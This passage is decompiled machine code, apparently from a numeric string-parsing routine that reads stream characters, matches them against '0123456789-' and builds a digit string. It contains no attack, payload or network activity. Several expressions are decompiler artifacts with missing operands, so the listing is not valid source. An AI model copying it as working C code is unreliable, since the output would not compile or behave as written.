														_t643 =  *((intOrPtr*)( *_t1137 + 0x40))();
														_t1281 = _t1290[0x14];
														L387:
														if((_t643 & 0x0000ffff) == 0xffff) {
															goto L389;
														}
														_t639 = 0;
														goto L390;
													}
													_t1032 =  *((intOrPtr*)(_t1137 + 0x50));
													_t765 =  *_t1032;
													if(_t765 <= 0) {
														goto L386;
													}
													 *_t1032 = _t765 - 1;
													 *_t936 =  &(_t1256[1]);
													_t643 =  *_t1256 & 0x0000ffff;
													goto L387;
												}
											}
											_t636 =  *((intOrPtr*)( *(_t1290[0x12]) + 0x48))();
											_t940 =  *((intOrPtr*)(_t1290 - 0x18));
											_t1145 =  <=  ? _t1290 - 0x30 :  *((intOrPtr*)(_t1290 - 0x30));
											_t779 =  *( <=  ? _t1290 - 0x30 :  *((intOrPtr*)(_t1290 - 0x30))) & 0x0000ffff;
											if( *_t1306 != 0) {
												L360:
												sil = _t779 ==  *(_t1290[0x1c]);
												if(_t940 >= 8) {
													_t1147 =  *((intOrPtr*)(_t1290 - 0x30));
													_t407 = _t940 + 2; // 0xbfc98548f6310f
													if(_t940 + _t407 >= 0x1000) {
														_t1147 =  *((intOrPtr*)(_t1147 - 8));
													}
													_t636 = E00402090(_t636, _t1147);
												}
												asm("movdqu [ebp-0x20], xmm6");
												 *((short*)(_t1290 - 0x30)) = 0;
												goto L365;
											}
											_t1148 =  *_t1301;
											if(_t1148 == 0) {
												L358:
												 *_t1301 = 0;
												L359:
												 *_t1306 = 1;
												_t940 =  *((intOrPtr*)(_t1290 - 0x18));
												goto L360;
											}
											_t943 =  *((intOrPtr*)( *((intOrPtr*)(_t1148 + 0x38))));
											if(_t943 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1148 + 0x50)))) <= 0) {
												_t636 =  *((intOrPtr*)( *_t1148 + 0x38))();
											} else {
												_t636 =  *_t943 & 0x0000ffff;
											}
											if((_t636 & 0x0000ffff) == 0xffff) {
												goto L358;
											} else {
												 *(_t1290[0x1c]) = _t636;
												goto L359;
											}
										} else {
											_t1150 =  *_t1301;
											_t1281 = _t1290[0x14];
											if(_t1150 == 0) {
												L292:
												 *_t1301 = 0;
												_t646 = 1;
												L293:
												 *_t1306 = _t646;
												 *((intOrPtr*)( *(_t1290[0x12]) + 0x40))();
												_t1026 = _t1290[0x1b];
												_t608 = E0041F100( &(_t1290[5]),  &(_t1290[0x16]));
												_t854 = _t1290[0x1a];
												if(_t854 >= 8) {
													_t1153 = _t1290[0x17];
													_t854 = _t854 +  &(_t854[1]);
													if(_t854 >= 0x1000) {
														_t1153 =  *((intOrPtr*)(_t1153 - 8));
													}
													_t608 = E00402090(_t608, _t1153);
												}
												goto L199;
											}
											_t946 =  *((intOrPtr*)(_t1150 + 0x38));
											_t1262 =  *_t946;
											if(_t1262 == 0) {
												L289:
												_t648 =  *((intOrPtr*)( *_t1150 + 0x40))();
												_t1281 = _t1290[0x14];
												L290:
												if((_t648 & 0x0000ffff) == 0xffff) {
													goto L292;
												}
												_t646 = 0;
												goto L293;
											}
											_t1033 =  *((intOrPtr*)(_t1150 + 0x50));
											_t767 =  *_t1033;
											if(_t767 <= 0) {
												goto L289;
											}
											 *_t1033 = _t767 - 1;
											 *_t946 =  &(_t1262[1]);
											_t648 =  *_t1262 & 0x0000ffff;
											goto L290;
										}
									}
									_t651 =  *((intOrPtr*)( *(_t1290[0x12]) + 0x40))();
									_t950 =  *((intOrPtr*)(_t1290 - 0x40));
									_t1158 =  <=  ? _t1290 - 0x58 :  *((intOrPtr*)(_t1290 - 0x58));
									_t780 =  *( <=  ? _t1290 - 0x58 :  *((intOrPtr*)(_t1290 - 0x58))) & 0x0000ffff;
									if( *_t1306 != 0) {
										L269:
										sil = _t780 ==  *(_t1290[0x1c]);
										if(_t950 >= 8) {
											_t1160 =  *((intOrPtr*)(_t1290 - 0x58));
											if(_t950 + _t950 + 2 >= 0x1000) {
												_t1160 =  *((intOrPtr*)(_t1160 - 8));
											}
											E00402090(_t651, _t1160);
										}
										_t635 = 7;
										asm("dec ax");
										asm("pslldq xmm0, 0x8");
										asm("movdqu [ebp-0x48], xmm0");
										 *((short*)(_t1290 - 0x58)) = 0;
										goto L274;
									}
									_t1161 =  *_t1301;
									if(_t1161 == 0) {
										L267:
										 *_t1301 = 0;
										L268:
										 *_t1306 = 1;
										_t950 =  *((intOrPtr*)(_t1290 - 0x40));
										goto L269;
									}
									_t953 =  *((intOrPtr*)( *((intOrPtr*)(_t1161 + 0x38))));
									if(_t953 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1161 + 0x50)))) <= 0) {
										_t651 =  *((intOrPtr*)( *_t1161 + 0x38))();
									} else {
										_t651 =  *_t953 & 0x0000ffff;
									}
									if((_t651 & 0x0000ffff) == 0xffff) {
										goto L267;
									} else {
										 *(_t1290[0x1c]) = _t651;
										goto L268;
									}
								} else {
									L198:
									_t1281 = _t1290[0x14];
									L199:
									_t616 = _t608 & 0xffffff00 | _t1290[8] - 0x00000002 > 0x00000000;
									 *(_t1290 - 8) = _t854;
									L27:
									_t1281 = _t1281 + 1;
									_t854 = _t1290[0x15];
									_t722 = _t616 & 0x00000001;
									_t609 = _t616 & 0xffffff00 | _t799 == 0x00000000;
									if(_t1281 > 3) {
										L489:
										if(_t1290[8] < 2 || _t609 == 0) {
											L529:
											if((_t1290[0x15] & 0x00000001) != 0) {
												if( *((long long*)(_t1308 + 0x20)) >= 0x10) {
													_t1026 =  *_t1026;
												}
												 *((long long*)(_t1308 + 0x18)) = 0;
												 *_t1026 = 0;
												L545:
												_t855 = _t1290[9];
												if(_t855 >= 8) {
													_t1057 = _t1290[6];
													if(_t855 + _t855 + 2 >= 0x1000) {
														_t1057 =  *((intOrPtr*)(_t1057 - 8));
													}
													_t609 = E00402090(_t609, _t1057);
												}
												asm("movaps xmm6, [ebp+0xf0]");
												asm("movaps xmm7, [ebp+0x100]");
												return _t609;
											}
											if((_t1290[4] & 0x00000001) == 0) {
												goto L545;
											}
											_t1268 =  *((intOrPtr*)(_t1308 + 0x18));
											if(_t1268 >= 0xfffffffe) {
												L556:
												L00430CE0(_t710, _t742, _t783, _t854, "string too long", _t1268, _t1281);
												L555:
												asm("ud2");
												goto L556;
											}
											_t1269 = _t1268 + 1;
											r8d = 0;
											_t609 = E00404270(_t609, _t1308, _t1269);
											_t1308 = _t1290[0x10];
											if(_t609 != 0) {
												_t858 =  *((intOrPtr*)(_t1308 + 0x20));
												_t1195 = _t1026;
												if(_t858 >= 0x10) {
													_t1195 =  *_t1026;
												}
												_t1294 =  *((intOrPtr*)(_t1308 + 0x18));
												if( *((intOrPtr*)(_t1308 + 0x18)) != 0) {
													_t572 =  &(_t1195[0]); // 0x1
													_t609 = E00437280(_t572, _t1195, _t1294);
													_t858 =  *((intOrPtr*)(_t1308 + 0x20));
												}
												_t859 = _t1026;
												if(_t858 >= 0x10) {
													_t859 =  *_t1026;
												}
												 *_t859 = 0x2d;
												if( *((long long*)(_t1308 + 0x20)) >= 0x10) {
													_t1026 =  *_t1026;
												}
												 *((long long*)(_t1308 + 0x18)) = _t1269;
												 *((char*)(_t1026 + _t1269)) = 0;
											}
											goto L545;
										} else {
											_t1283 =  <=  ?  &(_t1290[6]) : _t1290[6];
											_t1281 = ( <=  ?  &(_t1290[6]) : _t1290[6]) + 2;
											asm("o16 nop [cs:eax+eax]");
											while(1) {
												_t1061 =  *_t1301;
												_t746 = 0;
												_t710 = 0;
												if(_t1061 != 0) {
													_t872 =  *((intOrPtr*)( *((intOrPtr*)(_t1061 + 0x38))));
													if(_t872 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1061 + 0x50)))) <= 0) {
														_t613 =  *((intOrPtr*)( *_t1061 + 0x38))();
													} else {
														_t613 =  *_t872 & 0x0000ffff;
													}
													_t609 = _t613 & 0x0000ffff;
													_t710 = 0 | _t609 != 0x0000ffff;
												}
												_t1062 =  *_t1302;
												if(_t1062 != 0) {
													_t869 =  *((intOrPtr*)( *((intOrPtr*)(_t1062 + 0x38))));
													if(_t869 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1062 + 0x50)))) <= 0) {
														_t612 =  *((intOrPtr*)( *_t1062 + 0x38))();
													} else {
														_t612 =  *_t869 & 0x0000ffff;
													}
													_t609 = _t612 & 0x0000ffff;
													_t746 = 0;
													dil = _t609 != 0xffff;
												}
												if(_t710 == _t746) {
													break;
												}
												if( *_t1306 != 0) {
													L515:
													_t609 =  *(_t1290[0x1c]) & 0x0000ffff;
													_t1026 = _t1290[0x1b];
													if(_t609 !=  *_t1281) {
														L527:
														_t1064 =  >  ? _t1290[6] :  &(_t1290[6]);
														_t854 = ( >  ? _t1290[6] :  &(_t1290[6])) + _t1290[8] * 2;
														if(_t1281 != _t854) {
															_t609 = 1;
															_t1290[0x15] = _t854;
														}
														goto L529;
													}
													_t1065 =  *_t1301;
													if(_t1065 == 0) {
														L523:
														 *_t1301 = 0;
														_t609 = 1;
														L524:
														 *_t1306 = _t609;
														_t1281 = _t1281 + 2;
														_t1067 =  <=  ?  &(_t1290[6]) : _t1290[6];
														if(_t1281 != ( <=  ?  &(_t1290[6]) : _t1290[6]) + _t1290[8] * 2) {
															continue;
														}
														goto L527;
													}
													_t874 =  *((intOrPtr*)(_t1065 + 0x38));
													_t1197 =  *_t874;
													if(_t1197 == 0) {
														L520:
														_t614 =  *((intOrPtr*)( *_t1065 + 0x40))();
														L521:
														_t1026 = _t1290[0x1b];
														if((_t614 & 0x0000ffff) == 0xffff) {
															goto L523;
														}
														_t609 = 0;
														goto L524;
													}
													_t1027 =  *((intOrPtr*)(_t1065 + 0x50));
													_t747 =  *_t1027;
													if(_t747 <= 0) {
														goto L520;
													}
													 *_t1027 = _t747 - 1;
													 *_t874 =  &(_t1197[1]);
													_t614 =  *_t1197 & 0x0000ffff;
													goto L521;
												}
												_t1069 =  *_t1301;
												if(_t1069 == 0) {
													L513:
													 *_t1301 = 0;
													L514:
													 *_t1306 = 1;
													goto L515;
												}
												_t866 =  *((intOrPtr*)( *((intOrPtr*)(_t1069 + 0x38))));
												if(_t866 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1069 + 0x50)))) <= 0) {
													_t611 =  *((intOrPtr*)( *_t1069 + 0x38))();
												} else {
													_t611 =  *_t866 & 0x0000ffff;
												}
												if((_t611 & 0x0000ffff) == 0xffff) {
													goto L513;
												} else {
													 *(_t1290[0x1c]) = _t611;
													goto L514;
												}
											}
											_t1026 = _t1290[0x1b];
											goto L527;
										}
									}
									if(_t722 == 0) {
										dil =  *(_t1290 + _t1281 + 0xc);
										continue;
									}
									goto L489;
								}
							}
							_t1301 = _t1290[3];
							if(_t608 == 0x76) {
								_t1290[0x14] = _t1281;
								_t1281 = _t1290[0x12];
								_t1290[0x11] =  *((intOrPtr*)( *_t1281 + 0x50))();
								 *((intOrPtr*)( *_t1281 + 0x30))();
								if(_t1290[0x19] == 0) {
									while(1) {
										L106:
										_t1086 =  *_t1301;
										_t776 = 0;
										_t753 = 0;
										if(_t1086 != 0) {
											_t983 =  *((intOrPtr*)( *((intOrPtr*)(_t1086 + 0x38))));
											if(_t983 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1086 + 0x50)))) <= 0) {
												_t684 =  *((intOrPtr*)( *_t1086 + 0x38))();
											} else {
												_t684 =  *_t983 & 0x0000ffff;
											}
											_t753 = 0;
											dil = (_t684 & 0x0000ffff) != 0xffff;
										}
										_t1087 =  *_t1302;
										if(_t1087 != 0) {
											_t980 =  *((intOrPtr*)( *((intOrPtr*)(_t1087 + 0x38))));
											if(_t980 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1087 + 0x50)))) <= 0) {
												_t682 =  *((intOrPtr*)( *_t1087 + 0x38))();
											} else {
												_t682 =  *_t980 & 0x0000ffff;
											}
											_t776 = 0;
											sil = (_t682 & 0x0000ffff) != 0xffff;
										}
										if(_t753 == _t776) {
											break;
										}
										if( *_t1306 != 0) {
											L129:
											_t854 = _t1290[0x1c];
											_t677 =  *(_t1290[0x1c]) & 0x0000ffff;
											_t1288 = _t1290[2];
											asm("o16 nop [eax+eax]");
											while(1) {
												_t735 =  *(_t1288 + 2) & 0x0000ffff;
												_t1288 = _t1288 + 2;
												if(_t735 == 0) {
													break;
												}
												if(_t735 != _t677) {
													continue;
												}
												break;
											}
											_t1281 = _t1288 - _t1290[0x32] >> 1;
											if(_t1281 > 9) {
												break;
											}
											_t1268 =  *((intOrPtr*)(_t1308 + 0x18));
											if(_t1268 >= 0xfffffffe) {
												L00430CE0(_t710, _t742, _t783, _t854, "string too long", _t1268, _t1281);
												goto L555;
											}
											_t1273 = _t1268 + 1;
											r8d = 0;
											if(E00404270(_t677, _t1308, _t1273) != 0) {
												_t689 =  *((intOrPtr*)(_t1281 + "0123456789-"));
												_t1109 =  *((intOrPtr*)(_t1308 + 0x18));
												_t1229 = _t1026;
												if( *((long long*)(_t1308 + 0x20)) >= 0x10) {
													_t1229 =  *_t1026;
												}
												 *((char*)(_t1229 + _t1109)) = _t689;
												_t988 = _t1026;
												if( *((long long*)(_t1308 + 0x20)) >= 0x10) {
													_t988 =  *_t1026;
												}
												 *((long long*)(_t1308 + 0x18)) = _t1273;
												 *((char*)(_t988 + _t1273)) = 0;
											}
											_t1107 =  *_t1301;
											if(_t1107 == 0) {
												L90:
												 *_t1301 = 0;
												 *_t1306 = 1;
												continue;
											} else {
												_t985 =  *((intOrPtr*)(_t1107 + 0x38));
												_t1228 =  *_t985;
												if(_t1228 == 0) {
													L103:
													_t686 =  *((intOrPtr*)( *_t1107 + 0x40))();
													_t1026 = _t1290[0x1b];
													L104:
													if((_t686 & 0x0000ffff) == 0xffff) {
														goto L90;
													}
													 *_t1306 = 0;
													continue;
												}
												_t1034 =  *((intOrPtr*)(_t1107 + 0x50));
												_t761 =  *_t1034;
												if(_t761 <= 0) {
													goto L103;
												}
												 *_t1034 = _t761 - 1;
												_t148 =  &(_t1228[1]); // 0x2
												 *_t985 = _t148;
												_t686 =  *_t1228 & 0x0000ffff;
												_t1026 = _t1290[0x1b];
												goto L104;
											}
										}
										_t1110 =  *_t1301;
										if(_t1110 == 0) {
											L127:
											 *_t1301 = 0;
											L128:
											 *_t1306 = 1;
											goto L129;
										}
										_t977 =  *((intOrPtr*)( *((intOrPtr*)(_t1110 + 0x38))));
										if(_t977 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1110 + 0x50)))) <= 0) {
											_t681 =  *((intOrPtr*)( *_t1110 + 0x38))();
										} else {
											_t681 =  *_t977 & 0x0000ffff;
										}
										if((_t681 & 0x0000ffff) == 0xffff) {
											goto L127;
										} else {
											 *(_t1290[0x1c]) = _t681;
											goto L128;
										}
									}
									L401:
									r13d =  *((intOrPtr*)( *(_t1290[0x12]) + 0x20))();
									_t1089 =  *_t1301;
									_t710 = 0;
									_t754 = 0;
									if(_t1089 != 0) {
										_t974 =  *((intOrPtr*)( *((intOrPtr*)(_t1089 + 0x38))));
										if(_t974 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1089 + 0x50)))) <= 0) {
											_t675 =  *((intOrPtr*)( *_t1089 + 0x38))();
										} else {
											_t675 =  *_t974 & 0x0000ffff;
										}
										_t754 = 0;
										dil = (_t675 & 0x0000ffff) != 0xffff;
									}
									_t854 = _t1290[0x13];
									_t1090 =  *_t854;
									if(_t1090 != 0) {
										_t854 =  *((intOrPtr*)( *((intOrPtr*)(_t1090 + 0x38))));
										if(_t854 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1090 + 0x50)))) <= 0) {
											_t854 =  *_t1090;
											_t673 = _t854[0x1c]();
										} else {
											_t673 =  *_t854 & 0x0000ffff;
										}
										_t710 = 0 | (_t673 & 0x0000ffff) != 0x0000ffff;
									}
									_t777 = 0;
									if(r13w == 0 || _t754 == _t710) {
										_t1302 = _t1290[0x13];
										goto L421;
									} else {
										if( *_t1306 != 0) {
											L427:
											_t854 = _t1290[0x1c];
											_t1026 = _t1290[0x1b];
											if( *_t854 != r13w) {
												_t1302 = _t1290[0x13];
												L476:
												_t1268 =  *((intOrPtr*)(_t1308 + 0x18));
												_t616 = 1;
												 *_t1290 = _t854;
												if(_t1268 == 0) {
													_t616 = 1;
													_t1290[0x15] = _t854;
													L24:
													_t960 = _t1290[0x1a];
													_t1281 = _t1290[0x14];
													if(_t960 < 0x10) {
														goto L27;
													}
													_t1078 = _t1290[0x17];
													if(_t960 + 1 < 0x1000) {
														L351:
														_t616 = E00402090(_t616, _t1078);
														goto L27;
													}
													L350:
													_t1078 =  *((intOrPtr*)(_t1078 - 8));
													goto L351;
												}
												if(_t777 >= _t1290[0x11]) {
													goto L24;
												}
												if(_t1268 > 0xfffffffd) {
													L552:
													L00430CE0(_t710, _t742, _t783, _t854, "string too long", _t1268, _t1281);
													goto L555;
												}
												while(1) {
													_t1279 = _t1268 + 1;
													r8d = 0;
													_t616 = E00404270(_t616, _t1308, _t1279);
													if(_t616 != 0) {
														_t962 =  *((intOrPtr*)(_t1308 + 0x18));
														_t1093 = _t1026;
														if( *((long long*)(_t1308 + 0x20)) >= 0x10) {
															_t1093 =  *_t1026;
														}
														 *((char*)(_t1093 + _t962)) = 0x30;
														_t854 = _t1026;
														if( *((long long*)(_t1308 + 0x20)) >= 0x10) {
															_t854 =  *_t1026;
														}
														 *((long long*)(_t1308 + 0x18)) = _t1279;
														 *((char*)(_t854 + _t1279)) = 0;
													}
													_t777 = _t777 + 1;
													if(_t777 >= _t1290[0x11]) {
														break;
													}
													_t1268 =  *((intOrPtr*)(_t1308 + 0x18));
													if(_t1268 < 0xfffffffe) {
														continue;
													}
													goto L552;
												}
												goto L24;
											}
											_t777 = 0;
											_t1302 = _t1290[0x13];
											while(1) {
												_t1094 =  *_t1301;
												if(_t1094 == 0) {
													goto L448;
												}
												L439:
												_t854 =  *((intOrPtr*)(_t1094 + 0x38));
												_t1218 =  *_t854;
												if(_t1218 == 0) {
													L442:
													_t854 =  *_t1094;
													_t666 = _t854[0x20]();
													L443:
													if((_t666 & 0x0000ffff) == 0xffff) {
														goto L448;
													}
													_t1101 =  *_t1301;
													 *((char*)(_t1301 + 8)) = 0;
													if(_t1101 == 0) {
														L449:
														_t758 = 0;
														L452:
														_t1095 =  *_t1302;
														if(_t1095 == 0) {
															_t659 = 0;
															if(_t777 < _t1290[0x11]) {
																L458:
																if(_t758 == _t659) {
																	L30:
																	if(_t777 >= _t1290[0x11]) {
																		L421:
																		_t1026 = _t1290[0x1b];
																		goto L476;
																	}
																	L31:
																	_t1290[0x15] = _t854;
																	goto L421;
																}
																if( *_t1306 != 0) {
																	L471:
																	_t854 = _t1290[0x1c];
																	_t661 =  *_t854 & 0x0000ffff;
																	_t1037 = _t1290[2];
																	while(1) {
																		_t731 =  *(_t1037 + 2) & 0x0000ffff;
																		_t1037 = _t1037 + 2;
																		if(_t731 == 0) {
																			break;
																		}
																		if(_t731 != _t661) {
																			continue;
																		}
																		break;
																	}
																	_t1039 = _t1037 - _t1290[0x32] >> 1;
																	if(_t1039 > 9) {
																		goto L31;
																	}
																	_t1268 =  *((intOrPtr*)(_t1308 + 0x18));
																	if(_t1268 >= 0xfffffffe) {
																		L00430CE0(_t710, _t742, _t783, _t854, "string too long", _t1268, _t1281);
																		goto L555;
																	}
																	_t1272 = _t1268 + 1;
																	r8d = 0;
																	if(E00404270(_t661, _t1308, _t1272) != 0) {
																		_t670 =  *((intOrPtr*)(_t1039 + "0123456789-"));
																		_t1098 =  *((intOrPtr*)(_t1308 + 0x18));
																		_t1041 = _t1290[0x1b];
																		_t1220 = _t1041;
																		if( *((long long*)(_t1308 + 0x20)) >= 0x10) {
																			_t1220 =  *_t1041;
																		}
																		 *((char*)(_t1220 + _t1098)) = _t670;
																		_t854 = _t1041;
																		if( *((long long*)(_t1308 + 0x20)) >= 0x10) {
																			_t854 =  *_t1041;
																		}
																		 *((long long*)(_t1308 + 0x18)) = _t1272;
																		 *((char*)(_t854 + _t1272)) = 0;
																	}
																	_t777 = _t777 + 1;
																	_t1094 =  *_t1301;
																	if(_t1094 == 0) {
																		goto L448;
																	}
																	goto L439;
																}
																_t1099 =  *_t1301;
																if(_t1099 == 0) {
																	L469:
																	 *_t1301 = 0;
																	L470:
																	 *_t1306 = 1;
																	goto L471;
																}
																_t964 =  *((intOrPtr*)( *((intOrPtr*)(_t1099 + 0x38))));
																if(_t964 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1099 + 0x50)))) <= 0) {
																	_t671 =  *((intOrPtr*)( *_t1099 + 0x38))();
																} else {
																	_t671 =  *_t964 & 0x0000ffff;
																}
																if((_t671 & 0x0000ffff) == 0xffff) {
																	goto L469;
																} else {
																	 *(_t1290[0x1c]) = _t671;
																	goto L470;
																}
															}
															goto L30;
														}
														_t854 =  *((intOrPtr*)( *((intOrPtr*)(_t1095 + 0x38))));
														if(_t854 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1095 + 0x50)))) <= 0) {
															_t854 =  *_t1095;
															_t664 = _t854[0x1c]();
														} else {
															_t664 =  *_t854 & 0x0000ffff;
														}
														_t659 = 0 | (_t664 & 0x0000ffff) != 0x0000ffff;
														if(_t777 >= _t1290[0x11]) {
															goto L30;
														} else {
															goto L458;
														}
													}
													_t854 =  *((intOrPtr*)( *((intOrPtr*)(_t1101 + 0x38))));
													if(_t854 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1101 + 0x50)))) <= 0) {
														_t854 =  *_t1101;
														_t668 = _t854[0x1c]();
													} else {
														_t668 =  *_t854 & 0x0000ffff;
													}
													_t758 = 0;
													dil = (_t668 & 0x0000ffff) != 0xffff;
													goto L452;
												}
												_t1040 =  *((intOrPtr*)(_t1094 + 0x50));
												_t759 =  *_t1040;
												if(_t759 <= 0) {
													goto L442;
												}
												 *_t1040 = _t759 - 1;
												 *_t854 =  &(_t1218[1]);
												_t666 =  *_t1218 & 0x0000ffff;
												goto L443;
												L448:
												 *_t1301 = 0;
												 *((char*)(_t1301 + 8)) = 1;
												goto L449;
											}
										}
										_t1103 =  *_t1301;
										if(_t1103 == 0) {
											L425:
											 *_t1301 = 0;
											L426:
											 *_t1306 = 1;
											goto L427;
										}
										_t970 =  *((intOrPtr*)( *((intOrPtr*)(_t1103 + 0x38))));
										if(_t970 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1103 + 0x50)))) <= 0) {
											_t672 =  *((intOrPtr*)( *_t1103 + 0x38))();
										} else {
											_t672 =  *_t970 & 0x0000ffff;
										}
										if((_t672 & 0x0000ffff) == 0xffff) {
											goto L425;
										} else {
											 *(_t1290[0x1c]) = _t672;
											goto L426;
										}
									}
								}
								_t616 =  *((intOrPtr*)( *(_t1290[0x12]) + 0x28))();
								if(_t616 == 0) {
									goto L106;
								}
								_t1231 =  <=  ?  &(_t1290[0x17]) : _t1290[0x17];
								__eflags =  *( <=  ?  &(_t1290[0x17]) : _t1290[0x17]) - 0x7f;
								if( *( <=  ?  &(_t1290[0x17]) : _t1290[0x17]) >= 0x7f) {
									goto L106;
								}
								_t1290[0xf] = _t616;
								_t1290[0xb] = 0;
								asm("movups [ebp+0x68], xmm7");
								while(1) {
									_t1114 =  *_t1301;
									_t755 = 0;
									_t710 = 0;
									if(_t1114 != 0) {
										_t1006 =  *((intOrPtr*)( *((intOrPtr*)(_t1114 + 0x38))));
										if(_t1006 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1114 + 0x50)))) <= 0) {
											_t694 =  *((intOrPtr*)( *_t1114 + 0x38))();
											_t1302 = _t1290[0x13];
										} else {
											_t694 =  *_t1006 & 0x0000ffff;
										}
										_t616 = _t694 & 0x0000ffff;
										_t710 = 0 | _t616 != 0x0000ffff;
									}
									_t1115 =  *_t1302;
									if(_t1115 != 0) {
										_t1003 =  *((intOrPtr*)( *((intOrPtr*)(_t1115 + 0x38))));
										if(_t1003 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1115 + 0x50)))) <= 0) {
											_t693 =  *((intOrPtr*)( *_t1115 + 0x38))();
											_t1302 = _t1290[0x13];
										} else {
											_t693 =  *_t1003 & 0x0000ffff;
										}
										_t616 = _t693 & 0x0000ffff;
										_t755 = 0;
										dil = _t616 != 0xffff;
									}
									if(_t710 == _t755) {
										break;
									}
									if( *_t1306 != 0) {
										L185:
										_t854 = _t1290[0x1c];
										_t616 =  *(_t1290[0x1c]) & 0x0000ffff;
										_t1276 = _t1290[2];
										asm("o16 nop [eax+eax]");
										while(1) {
											_t738 =  *(_t1276 + 2) & 0x0000ffff;
											_t1276 = _t1276 + 2;
											if(_t738 == 0) {
												break;
											}
											if(_t738 != _t616) {
												continue;
											}
											break;
										}
										_t1268 = _t1276 - _t1290[0x32] >> 1;
										if(_t1268 > 9) {
											_t1121 =  <=  ?  &(_t1290[0xb]) : _t1290[0xb];
											if( *((char*)(( <=  ?  &(_t1290[0xb]) : _t1290[0xb]) + _t1281)) == 0 || _t616 != _t1290[0xf]) {
												break;
											} else {
												_t1268 = _t1290[0xd];
												if(_t1268 >= 0xfffffffe) {
													L00430CE0(_t710, _t742, _t783, _t854, "string too long", _t1268, _t1281);
													goto L555;
												}
												_t1278 = _t1268 + 1;
												r8d = 0;
												if(E00404270(_t616,  &(_t1290[0xa]), _t1278) != 0) {
													_t1240 =  &(_t1290[0xb]);
													_t1127 =  <=  ? _t1240 : _t1290[0xb];
													 *((char*)(( <=  ? _t1240 : _t1290[0xb]) + _t1290[0xd])) = 0;
													_t1012 =  <=  ? _t1240 : _t1290[0xb];
													_t1290[0xd] = _t1278;
													 *((char*)(( <=  ? _t1240 : _t1290[0xb]) + _t1278)) = 0;
												}
												_t1281 = _t1281 + 1;
												L155:
												_t1302 = _t1290[0x13];
												_t1124 =  *_t1301;
												if(_t1124 == 0) {
													L138:
													 *_t1301 = 0;
													_t616 = 1;
													 *_t1306 = 1;
													continue;
												}
												_t1008 =  *((intOrPtr*)(_t1124 + 0x38));
												_t1238 =  *_t1008;
												if(_t1238 == 0) {
													L159:
													_t695 =  *((intOrPtr*)( *_t1124 + 0x40))();
													_t1302 = _t1290[0x13];
													L160:
													if((_t695 & 0x0000ffff) == 0xffff) {
														goto L138;
													}
													_t616 = 0;
													 *_t1306 = 0;
													continue;
												}
												_t1036 =  *((intOrPtr*)(_t1124 + 0x50));
												_t756 =  *_t1036;
												if(_t756 <= 0) {
													goto L159;
												}
												 *_t1036 = _t756 - 1;
												 *_t1008 =  &(_t1238[1]);
												_t695 =  *_t1238 & 0x0000ffff;
												goto L160;
											}
										}
										_t1303 =  *((intOrPtr*)(_t1308 + 0x18));
										if(_t1303 >= 0xfffffffe) {
											L00430CE0(_t710, _t742, _t783, _t854, "string too long", _t1268, _t1281);
											goto L555;
										}
										_t1304 = _t1303 + 1;
										r8d = 0;
										_t698 = E00404270(_t616, _t1308, _t1304);
										_t1035 = _t1290[0x1b];
										if(_t698 != 0) {
											_t699 =  *((intOrPtr*)(_t1268 + "0123456789-"));
											_t1131 =  *((intOrPtr*)(_t1308 + 0x18));
											_t1239 = _t1035;
											if( *((long long*)(_t1308 + 0x20)) >= 0x10) {
												_t1239 =  *_t1035;
											}
											 *((char*)(_t1239 + _t1131)) = _t699;
											_t1016 = _t1035;
											if( *((long long*)(_t1308 + 0x20)) >= 0x10) {
												_t1016 =  *_t1035;
											}
											 *((long long*)(_t1308 + 0x18)) = _t1304;
											 *((char*)(_t1016 + _t1304)) = 0;
										}
										_t1014 =  <=  ?  &(_t1290[0xb]) : _t1290[0xb];
										_t740 =  *((intOrPtr*)(_t1014 + _t1281));
										if(_t740 != 0x7f) {
											 *((char*)(_t1014 + _t1281)) = _t740 + 1;
										}
										goto L155;
									}
									_t1132 =  *_t1301;
									if(_t1132 == 0) {
										L183:
										 *_t1301 = 0;
										L184:
										 *_t1306 = 1;
										goto L185;
									}
									_t1000 =  *((intOrPtr*)( *((intOrPtr*)(_t1132 + 0x38))));
									if(_t1000 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1132 + 0x50)))) <= 0) {
										_t692 =  *((intOrPtr*)( *_t1132 + 0x38))();
										_t1302 = _t1290[0x13];
									} else {
										_t692 =  *_t1000 & 0x0000ffff;
									}
									if((_t692 & 0x0000ffff) == 0xffff) {
										goto L183;
									} else {
										 *(_t1290[0x1c]) = _t692;
										goto L184;
									}
								}
								if(_t1281 == 0) {
									_t710 = _t616 & 0x00000001;
									L353:
									_t1295 = _t1290[0xe];
									if(_t1295 >= 0x10) {
										L397:
										_t1116 = _t1290[0xb];
										if(_t1295 + 1 >= 0x1000) {
											_t1116 =  *((intOrPtr*)(_t1116 - 8));
										}
										_t616 = E00402090(_t616, _t1116);
										L400:
										_t1026 = _t1290[0x1b];
										if((_t710 & 0x00000001) != 0) {
											goto L24;
										}
										goto L401;
									}
									goto L400;
								}
								_t1117 =  &(_t1290[0xb]);
								_t992 =  <=  ? _t1117 : _t1290[0xb];
								r9d = 0;
								_t261 =  *((char*)(( <=  ? _t1117 : _t1290[0xb]) + _t1281)) > 0;
								_t616 = _t616 & 0xffffff00 | _t261;
								if(_t261 <= 0) {
									_t1290[0x15] = _t1117;
								}
								r9b = _t616;
								_t710 = _t616 & 0x00000001;
								if(_t1281 + _t1298 == 0 || _t710 != 0) {
									goto L353;
								} else {
									_t1119 =  <=  ?  &(_t1290[0x17]) : _t1290[0x17];
									_t1295 = _t1290[0xe];
									_t1275 =  <=  ?  &(_t1290[0xb]) : _t1290[0xb];
									_t998 = _t1290[0x15];
									_t742 = _t616 & 0x00000001;
									r10b = _t1295 == 0xf;
									_t272 = _t1281 - 1; // -1
									_t1281 = _t1298 + _t272;
									while(1) {
